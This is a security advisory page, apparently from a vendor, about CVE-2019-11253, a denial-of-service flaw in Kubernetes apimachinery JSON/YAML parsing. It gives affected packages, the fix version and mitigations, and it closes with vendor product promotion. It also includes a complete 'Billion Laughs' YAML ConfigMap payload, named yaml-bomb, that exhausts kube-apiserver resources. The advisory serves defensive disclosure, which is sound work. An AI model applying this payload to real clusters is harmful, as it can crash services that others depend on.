GHSA-74fp-r6jw-h4mp is a high-severity (CVSS 7.5) vulnerability in k8s.io/apimachinery. A fix is available for k8s.io/apimachinery — see the affected versions and patch details below.
Kubernetes apimachinery packages vulnerable to unbounded recursion in JSON or YAML parsing
Real-World Exposure
k8s.io/apimachineryReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
CVE-2019-11253 is a denial of service vulnerability in the kube-apiserver, allowing authorized users sending malicious YAML or JSON payloads to cause kube-apiserver to consume excessive CPU or memory, potentially crashing and becoming unavailable.
When creating a ConfigMap object which has recursive references contained in it, excessive CPU usage can occur. This appears to be an instance of a "Billion Laughs" attack which is quite well known as an XML parsing issue.
Applying this manifest to a cluster causes the client to hang for some time with considerable CPU usage.
apiVersion: v1
data:
a: &a ["web","web","web","web","web","web","web","web","web"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
kind: ConfigMap
metadata:
name: yaml-bomb
namespace: default
Specific Go Packages Affected
- k8s.io/apimachinery/pkg/runtime/serializer/json
- k8s.io/apimachinery/pkg/util/json
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | k8s.io/apimachinery | all versions | 0.0.0-20190927203648-9ce6eca90e73go get k8s.io/apimachinery@v0.0.0-20190927203648-9ce6eca90e73 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for k8s.io/apimachinery, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update k8s.io/apimachinery to 0.0.0-20190927203648-9ce6eca90e73 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-74fp-r6jw-h4mp is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-74fp-r6jw-h4mp can be triaged on real exposure rather than presence alone.
Tailored to GHSA-74fp-r6jw-h4mp. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-74fp-r6jw-h4mp in your dependencies?
O3 Security finds GHSA-74fp-r6jw-h4mp across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.